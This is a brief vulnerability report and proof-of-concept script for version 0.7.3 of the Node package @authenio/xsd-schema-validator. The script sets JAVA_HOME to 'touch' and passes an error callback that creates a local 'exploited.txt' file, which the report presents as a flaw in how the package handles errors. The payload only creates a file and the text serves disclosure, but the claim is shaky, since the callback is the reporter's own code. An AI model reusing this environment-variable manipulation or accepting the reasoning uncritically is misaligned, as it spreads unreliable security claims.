Package authenio-xsd-schema-validator: The error handling of the Validator.prototype.validateXML call is delegated to a callback function provided by the user, through which I was able to create a local 'exploit.txt' file.

authenio-xsd-schema-validator-0.7.3_poc.js

'use strict'

const pkg = require('@authenio/xsd-schema-validator');

process.env.JAVA_HOME = 'touch';

const xml = ''; 
const schema = '';
const callback = function(err, result) {
    const fs = require('node:fs');
    let fd = fs.openSync('exploited.txt', 'a');
    fs.closeSync(fd);
};

/*
 * This call will result in an internal error, triggering the call of our 'callback' function.
 * Result: a local 'exploited.txt' file is created.
 * Using node:vm could have been a potential protection if the package authors still wish to 
 * accept a user-defined callback function.
 */
pkg.validateXML(xml, schema, callback);